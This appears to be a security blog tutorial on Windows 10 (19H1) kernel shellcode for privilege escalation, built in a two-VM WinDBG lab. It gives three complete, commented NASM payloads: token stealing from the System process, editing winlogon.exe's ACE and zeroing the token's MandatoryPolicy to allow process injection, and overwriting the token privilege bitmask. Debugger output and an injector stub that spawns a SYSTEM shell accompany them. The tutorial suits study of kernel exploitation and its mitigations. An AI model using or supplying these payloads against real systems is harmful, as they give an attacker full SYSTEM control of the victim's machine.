Intro

As opposed to the multi-purpose windows’ userland shellcode, kernel ones merely try to elevate privileges and obtain an NT\SYSTEM status. There are several ways to accomplish this, and we are going to explore some of the different scenarios.

Most of the following ideas have been inspired by Morten Schenk and Cesar Cerrudo excellent works, which I have then gathered and readapted to the latest Win10 version.

Before jumping too quickly into shellcoding, we want would like to setup a comfortable and easy-to-fire shellcode loader on our system.

Setting up the test environment.

For a scalable and portable lab, we are going to need to VMs, both win10 19H1 (1903), running on the hypervisor of your choice. The target vm will be the one where we are going to load and run the shellcode, while the debugger vm is the one running WinDBG remotely.

Instead of relying on a vulnerable kernel-side software, we are going to use a custom driver, provided by FireEye.

The driver’s set-up process can be summarised through the following points.

1.Download the driver source code here.
2.Download and install WDK 7.1.0 here.
3.Compile the driver with the “x64 Checked Build Environment” by running ‘ez.cmd’ via the WDK command prompt.
4.Once we have baked “kscldr.exe”, we can transfer it to the target VM, where we are going to run our kernel-side shellcode.
5.We can now load any raw shellcode with the following command kscldr.exe <raw_shellcode.bin>

There are a lot of tutorials about setting up two WinDBG VMs talking to each other, most of them involving named pipes, which is good but quite limiting in terms of performance.
I have instead opted for network debugging and here is my setup:

Target VM

We are going to configure the necessary debugging environment in a privileged shell:

bcdedit /debug on
bcdedit /set testsigning on
bcdedit /dbgsettings NET HOSTIP:[debugger_VM] port:50000 key:1.1.1.1
[reboot]

Debugger VM

We have to run WinDBGx64 as admin and configure network mode kernel debugging on the same port we have defined previously on the target (50000 in this case) with a key of “1.1.1.1” (you are advised to use a stronger key in a shared environments :))

Then run in a privileged shell.

bcdedit /debug on
setx _NT_SYMBOL_PATH srv*c:\symbols*HTTP://MSDL.MICROSOFT.COM/DOWNLOAD/SYMBOLS
[reboot]

Enough prepping, let’s bake some privilege-hijacking code!

Kernel Shellcodes

Since its very first NT version, Windows has been known to change kernel data structures and, because of this, all the following kernels shellcodes are going to reference data through structures offsets.

I have so decided to port all the shellcodes to the latest windows version (19H1 as per 06/2019), and even though has not been updated since 2016, would be nice to dynamically query via APIs Project Terminus, to quickly generate the right offset into NASM. Nevertheless, a quick diff on NTDiff will always do the trick.

Token Stealing

The first technique we are going to cover it’s called ‘Token Stealing’, which simply involves replacing the process of the exploited (or simulated) app, with the uber-privileged one from the System process.

On the exploited process, we have to locate the EPROCESS structure, which is the kernel representation of a process object. As for many other windows structures, the EPROCESS is located at a fixed offset from other elements, which are eventually dependant on constant. In our case, the constant is the GS register, at which offset 0x188 we can find the KTHREAD of the process itself. So we can save it in the R9 register, for later usage.

mov r9, qword ptr gs:[0x188]

Now that we have saved the KTHREAD in r9, we can use it lo locate the EPROCESS, which is 0x220 bytes away (EPROCESS) > KTHREAD+0x220).

lkd> dt _KTHREAD Process
nt!_KTHREAD
   +0x220 Process : Ptr64 _KPROCES

Which translates to the following assembly line of code.

mov r9, qword ptr[r9+0x220]

Since we want to elavate the privileges of the parent process we need to find the ProcessID of cmd.exe.
We also notice that this offset differs from previous Win10 versions,

kld> dt _EPROCESS
+0x3e8 InheritedFromUniqueProcessId : Ptr64 Void

And in nasm:

mov r8, qword ptr[r9+0x3e8] ; new offset, previous was 3e0

Great, now we have saved the PID of cmd.exe but, before doing anything else, we need to find its EPROCESS address in memory.
If we inspect the current process (kscldr.exe), we can see at offsets 0x2e8 and 0x2f0 that we have ProcessID and ActiveProcessLinks structures.
The latter value is a linked list of EPROCESS objects that can be parsed and where each PID be compared against the one that belongs to cmd.exe, saved in the r8 register.

lkd> dx @$cursession.Processes[6076]
  [+0x000] Pcb              [Type: _KPROCESS]
    [+0x2e0] ProcessLock      [Type: _EX_PUSH_LOCK]
    [+0x2e8] UniqueProcessId  : 0x17bc [Type: void *]
    [+0x2f0] ActiveProcessLinks [Type: _LIST_ENTRY]

From which derives:

mov rax, r9
loop1:
	mov rax, qword ptr [rax + 0x2f0]
	sub rax, 0x2f0
	cmp qword ptr[rax + 0x2e8],r8
	jne loop1

Once we have found the EPROCESS data structure of cmd.exe we can inspect it and locate at offset 0x360 the Token object.
All set, all good, we can now save it…

lkd> dx -id 0,0,ffffa88f4ce8e080 -r1 (*((ntkrnlmp!_EPROCESS *)0xffffa88f4ce8e080))
(*((ntkrnlmp!_EPROCESS *)0xffffa88f4ce8e080))                 [Type: _EPROCESS]
    [+0x000] Pcb              [Type: _KPROCESS]
    [+0x2e0] ProcessLock      [Type: _EX_PUSH_LOCK]
    [+0x2e8] UniqueProcessId  : 0x17bc [Type: void *]
    [...]
    [+0x360] Token            [Type: _EX_FAST_REF]

…into the rcx register.

mov rcx, rax
add rcx, 0x360

Now, it only remains to find the Process ID and Token of System from which we want to grab its power.
We are going to browse in the same linked list as before, until we find a process ID of 4, which is a constant ID for System.

mov rax, r9
loop2:
	mov rax, qword ptr [rax +0x2f0].
	sub rax, 0x2f0
	cmp [rax + 0x2e8], 4
	jne loop2
	mov rdx, reax
	add rdx, 0x360

And the very last crumble…to override the existing cmd’s token (saved in rcx) with System’s one (stored in rdx).

mov rdx, qword ptr [rdx]
mov qword ptr [rcx], rdx
ret

Et voilà shell

Final shellcode (tested on Win10 19H3)

;token_priv.asm
;grant SYSTEM account privileges to the calling process

[BITS 64]

start:
mov r9, [gs:0x188]                ;stores KPROCESS/currentThread value
mov r9, [r9+0x220]                ;stores EPROCESS as an offset to KTHREAD
mov r8, [r9+0x3e8]                ;stores InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                       ;moves cmd's EPROCESS into eax
loop1:
  mov rax, [rax + 0x2f0]          ;saves the next linked list pointer into rax
  sub rax, 0x2f0                  ;gets the KPROCESS
  cmp [rax + 0x2e8],r8            ;compare the ProcessId with cmd's.
  jne loop1                       ;if not equal, repeat
mov rcx, rax                      ;if equal, saves cmd's EPROCESS into rcx
add rcx, 0x360                    ;store cmd's token into rcx
mov rax, r9                       ;moves cmd's EPROCESS into eax
loop2:
  mov rax, [rax +0x2f0]           ;saves the next linked list pointer into rax
  sub rax, 0x2f0                  ;gets the KPROCESS
  cmp byte [rax + 0x2e8], 4       ;compare the ProcessId with System(4)
  jne loop2                       ;if not equal, repeat
  mov rdx, rax                    ;if equal, saves System's EPROCESS into rdx
  add rdx, 0x360                  ;stores System's token pointer into rdx
mov rdx, [rdx]                    ;stores System's token value into rdx
mov [rcx], rdx                    ;replace cmd's original token with System's
ret

ACL/ACE Editing

The second method that we are going to investigate is based on ACL editing. The original paper from Cesar Cerrudo from 2012 shows how we can find the SecurityDescriptor of a privileged process and override it with NULL. If a process has not SecurityDescriptor, the kernel assumes that has been created with a NULL DACL which means that everyone (every other process) can access it. However, Microsoft has introduced a patch on Windows10 1607 Redstone 1, where it now maps a table of pointers to object structures, and if a pointer to the SecurityDescriptor is set to NULL, it will trigger a Blue Screen Of Death (BSOD).
Interesting enough, this mitigation only works if one has a ‘write-zero-where’ primitive, but is not sufficient with a ‘read-write’ vulnerability.
As Morten Schenk explained here, instead of NULLifying the pointer to the SecuirtyDescriptor, we could modify the content of the ACL itself. Our next goal here is to zero-out winlogon.exe ACE entry, so that we could perform process injection at a later stage.

Here is our plan of action: 1. Locate the SecurityDescriptor pointer inside ‘winlogon.exe’ 2. Here we should find the SECURITY_DESCRIPTOR object that includes a DACL with ACCESS_ALLOWED_ACEs. 3. Change the ACE’s SID to S-1-5-11 (standard SID for ‘logged in users’) 4. Override the ‘Mandatory Integrity Policy’ of the exploited process from the current valu to ‘0’, so that we can access the handle of winlogon.

So, we have to find the Process handle of winlogn first.

kd> !process 0 0 winlogon.exe
PROCESS ffffdc84bdc64080
    SessionId: 1  Cid: 026c    Peb: 3fafb23000  ParentCid: 0200
    DirBase: 1238c002  ObjectTable: ffff820d017f5b40  HandleCount: 282.
    Image: winlogon.exe

Get the pointer to the SecurityDescriptor

kd> dt nt!_OBJECT_HEADER ffffdc84bdc64080-30 SecurityDescriptor
  +0x028 SecurityDescriptor : 0xffff820c`fe0082e4 Void

And dump its content by zoroeing out the last 4 bits.

kd> !sd 0xffff820cfe0082e0 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x3c
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Sacl    :
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x1c
->Sacl    : ->AceCount   : 0x1
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Mandatory Label\System Mandatory Level)

It shows two ACEs, one for the SYSTEM group and one for the Administrators group. Let’s dump the ACE structure, which should be 0x20 ahead from the SecurityDescriptor :

kd> dt _SECURITY_DESCRIPTOR
nt!_SECURITY_DESCRIPTOR
   +0x000 Revision         : UChar
   +0x001 Sbz1             : UChar
   +0x002 Control          : Uint2B
   +0x008 Owner            : Ptr64 Void
   +0x010 Group            : Ptr64 Void
   +0x018 Sacl             : Ptr64 _ACL
   +0x020 Dacl             : Ptr64 _ACL   <<<<<<<< wrong symbol, it should be 0x30
kd> dt _ACL  0xffff820cfe0082e0+30
nt!_ACL
   +0x000 AclRevision      : 0x2 ''
   +0x001 Sbz1             : 0 ''
   +0x002 AclSize          : 0x3c
   +0x004 AceCount         : 2
   +0x006 Sbz2             : 0

No ACE symbols are provided by MS, so we have to dump it as hex:

kd> db  0xffff820cfe0082e0+30
ffff820c`fe008310  02 00 3c 00 02 00 00 00-00 00 14 00 ff ff 1f 00
ffff820c`fe008320  01 01 00 00 00 00 00 05-12 00 00 00 00 00 18 00   (0x40 - start of SID)
ffff820c`fe008330  11 14 12 00 01 02 00 00-00 00 00 05 20 00 00 00
ffff820c`fe008340  20 02 00 00 00 00 00 00-00 00 00 00 01 02 00 00
ffff820c`fe008350  00 00 00 05 20 00 00 00-20 02 00 00 01 01 00 00
ffff820c`fe008360  00 00 00 05 12 00 00 00-00 00 00 00 00 00 00 00
ffff820c`fe008370  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
ffff820c`fe008380  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

As said, our goal is to modify the current SYSTEM SID (S-1-5-18) to THIS ORGANIZATION (S-1-5-15), which will allow any logged in user part of the organization domain to access the process.

Clearly, we just need to swap the value from 18(0x12) to 15(0xf).

kd> db  0xffff820cfe0082e0+48 L1
ffff820c`fe008328  12

0: kd> eb  0xffff820cfe0082e0+48 b
ffff820c`fe008328  12

0: kd> !sd 0xffff820cfe0082e0 1
...
->Dacl    : ->Ace[0]: ->SID: S-1-5-15 (Well Known Group: NT AUTHORITY\This Organization)

The last step is to inhibit the IntegrityLevel block, by modifying the current process MandatoryPolicy to zero.

Our shellcode loader is running with high integrity level and the Mandatory Policy is set to 1, which mean we cannot mess around with anything above our level, such as system processes.

lkd> dt _TOKEN (poi( ffffe605e6b1f080+360) & FFFFFFFFFFFFFFF0)
nt!_TOKEN
   +0x0d0 IntegrityLevelIndex : 0xf
   +0x0d4 MandatoryPolicy  : 1

While winlogon.exe is running with IntegrityLevelindex 4, which is system.

lkd> !process 0 0 winlogon.exe
PROCESS ffffe605e1768080
    SessionId: 1  Cid: 027c    Peb: 3f45f66000  ParentCid: 020c
    DirBase: 2a282002  ObjectTable: ffffbf063cea99c0  HandleCount: 286.
    Image: winlogon.exe

lkd> dt _TOKEN (poi(0xffffe605e1768080+360) & FFFFFFFFFFFFFFF0)
nt!_TOKEN
   +0x0d0 IntegrityLevelIndex : 4
   +0x0d4 MandatoryPolicy  : 1

Let’s change the MandatoryPolicy of the shellcode loader to zero, so that we are allowed to perform process injection into winlogon.exe.

1: kd> dt _TOKEN (poi(ffffc98df47ef4c0+360) & FFFFFFFFFFFFFFF0)
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
...
   +0x0d4 MandatoryPolicy  : 3
kd> eb (poi(ffffc98df47ef4c0+360) & FFFFFFFFFFFFFFF0)+0d4 0

And verify it is indeed changed.

lkd> dt _TOKEN (poi(0xffffe605e7cd84c0+360) &  FFFFFFFFFFFFFFF0)
nt!_TOKEN
...
   +0x0d0 IntegrityLevelIndex : 0xf
   +0x0d4 MandatoryPolicy  : 0

At this point we are ready to perform our code injection into winlogon.exe and spawn a new cmd.exe with system privileges.
In order to simulate a vulnerable system, I have used Morten’s process injector PoC , comment out all the primitives and leaks, leaving just the ‘injectCode()’ function and compile it.

int main()
{
	//LoadLibraryA("user32.dll");
	//LoadLibraryA("gdi32.dll");
	//PDWORD64 debug = (PDWORD64)VirtualAlloc((LPVOID)0x1a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	//memset(debug, 0, 0x1000);

	//createWnd();
	//setupLeak();
	//setupPrimitive();
	//This is the cbwndExtra field of the first window - manually modify it to simulate a w-w-w, 0x1000 is more than enough.
	//debug[4] = leakWnd(g_window1) + 0xe8;

	//DWORD64 KWEAddr = getKWEAddr();
	//debug[0] = KWEAddr;
	//debug[1] = (DWORD64)TokenStealingPayload;
	//debug[2] = (DWORD64)EditAcl;
	//debug[3] = (DWORD64)AddPriv;

	//DebugBreak();
	//TokenStealDataOnly(leakWnd(g_window1));
	//AclEditDataOnly(leakWnd(g_window1));
	//AddPrivDataOnly(leakWnd(g_window1));

	if (!injectCode())
	{
		printf("Could not inject code");
	}

    return 0;
}

Once done the above, we can copy it into the same kscldr.exe folder.
I have also modified the driver user code (kscldr_u.c) to launch shellcode.exe via SYSTEM() after it has installed the driver as a service:

loadKernelShellCode(PTCHAR sc_fname)
...
    ok = stopDriver();
    ERR_IF(!ok, exit, "stopDriver");

    _tprintf(_T("Complete\n"));

    system("Shellcode.exe");

    ret = TRUE;

Now we are ready to run the driver loader by passing the ‘ace’ shellcode as an argument, and if the stars align, we should get a nice SYSTEM shell.

shell

Final shellcode (tested on Win10 19H3)

;ace.asm
;grant SYSTEM account privileges through winlogon process injection via a crafted nulled-out ACE

[BITS 64]

start:
mov rax, [gs:0x188]                  ;stores KPROCESS/currentThread value
mov rax, [rax+0x220]                 ;stores EPROCESS as an offset to KTHREAD
mov rcx, rax                         ;stores EPROCESS in rcx
mov rax, [rax+0x2f0]                 ;stores the next linked list pointer into rax
procloop:
  lea rbx, [rax-0x2f0]               ;stores EPROCESS address in rbx
  mov rax, [rax]                     ;stores  linked list pointer into rax
  add rbx, 0x450                     ;Get EPROCESS's ImageFileName
  cmp dword [rbx], 0x6c6e6977        ;compare it to "lniw" (winl)
  jne procloop                       ;if not equal repeat the drill
sub rbx, 0x458                       ;get EPROCESS of winlogon in rbx
mov rax, [rbx]                       ;save it in rax
and rax, 0x0FFFFFFFFFFFFFFF0         ;zeroize the last nibble.
add rax, 0x48                        ;get the SecurityDescriptor
mov byte [rax], 0x0f                 ;Change it to 0xf (This Organization)
add rcx, 0x360                       ;Access the token structure
mov rax, [rcx]                       ;save it in rax
and rax, 0x0FFFFFFFFFFFFFFF0         ;remove the last nibble (fast reference)
add rax, 0x0d4                       ;Access the MandatorySecurityPolicy
mov byte [rax], 0                    ;change it to zero.
ret

Privileges Editing

The last shellcode we are about to test is once again based on the Token object structure, which has a substructure called SEP_TOKEN_PRIVILEGES at offset 0x40.

0: kd> dt _TOKEN
nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr64 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES

0: kd> dt _SEP_TOKEN_PRIVILEGES
   nt!_SEP_TOKEN_PRIVILEGES
      +0x000 Present          : Uint8B
      +0x008 Enabled          : Uint8B
      +0x010 EnabledByDefault : Uint8B

And in the specific case of cmd.exe we have:

kd> !process 0 0 cmd.exe
PROCESS ffffb00e32b8f080
    SessionId: 1  Cid: 08e8    Peb: 85fcea8000  ParentCid: 0c5c
    DirBase: 03d35002  ObjectTable: ffffa00d7bc82300  HandleCount:  72.
    Image: cmd.exe

kd> dt _TOKEN (poi(ffffb00e32b8f080+360) & FFFFFFFFFFFFFFF0)
  nt!_TOKEN
     +0x000 TokenSource      : _TOKEN_SOURCE
     +0x010 TokenId          : _LUID
     +0x018 AuthenticationId : _LUID
     +0x020 ParentTokenId    : _LUID
     +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
     +0x030 TokenLock        : 0xffffb00e`38614210 _ERESOURCE
     +0x038 ModifiedId       : _LUID
     +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
...

kd> dx -id 0,0,ffffb00e2f666040 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffa00d7a258780))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffa00d7a258780))                 [Type: _SEP_TOKEN_PRIVILEGES]
   [+0x000] Present          : 0x1e73deff20 [Type: unsigned __int64]
   [+0x008] Enabled          : 0x60800000 [Type: unsigned __int64]
   [+0x010] EnabledByDefault : 0x60800000 [Type: unsigned __int64]

The amount of enabled privs is obviously less then the present ones, so we could replicate the same value (1e73deff20) into the ‘Present’ field as well.
Hence, our goal is to modify the values contained at offset 0x48, so that we can enable all of the available options and spawn a SYSTEM shell. We are going to reuse most of the code present in the first token shellcode, as we need to access most of the same data.

After getting a pointer to cmd.exe’s PID, we need to gets its EPROCESS…

mov r9, [gs:0x188]                 
mov r9, [r9+0x220]                 
mov r8, [r9+0x3e8]                 
mov rax, r9                        
loop1:
  mov rax, [rax + 0x2f0]           
  sub rax, 0x2f0                   
  cmp [rax + 0x2e8],r8             
  jne loop1                        
mov rcx, rax                       

…we need to save the token pointer and, at offset 0x48, override the available privs.

add rcx, 0x360                  
mov rax, [rcx]                  
and rax, 0xFFFFFFFFFFFFFFF0     
mov r8,  0x1e73deff20           
mov [rax+0x48],r8                  

After running it, we can verify that we went full throttle, and since the current shell has mighy powers, it can now spawn SYSTEM via the same process injection technique we ran previously.

shell

Final shellcode (tested on Win10 19H3)

;privileges.asm
;grant SYSTEM account privileges to calling process via Enabled Privileges Token structure

[BITS 64]

start:
mov r9, [gs:0x188]                  ;stores KPROCESS/currentThread value
mov r9, [r9+0x220]                  ;stores EPROCESS as an offset to KTHREAD
mov r8, [r9+0x3e8]                  ;stores InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                         ;moves cmd's EPROCESS into rax
loop1:
  mov rax, [rax + 0x2f0]            ;saves the next linked list pointer into rax
  sub rax, 0x2f0                    ;gets the KPROCESS
  cmp [rax + 0x2e8],r8              ;compare the ProcessId with cmd's.
  jne loop1                         ;if not equal, repeat
mov rcx, rax                        ;if equal, saves cmd's EPROCESS into rcx
add rcx, 0x360                      ;store cmd's token into rcx
mov rax, [rcx]                      ;store token into rax
and rax, 0xFFFFFFFFFFFFFFF0         ;remove the last nibble (fast reference)
mov r8,  0x1e73deff20               ;stores the 'all-in' privileges value into r8
mov [rax+0x48],r8                   ;Changes 'Privileges' at offset 0x48 and god-mode it                      
ret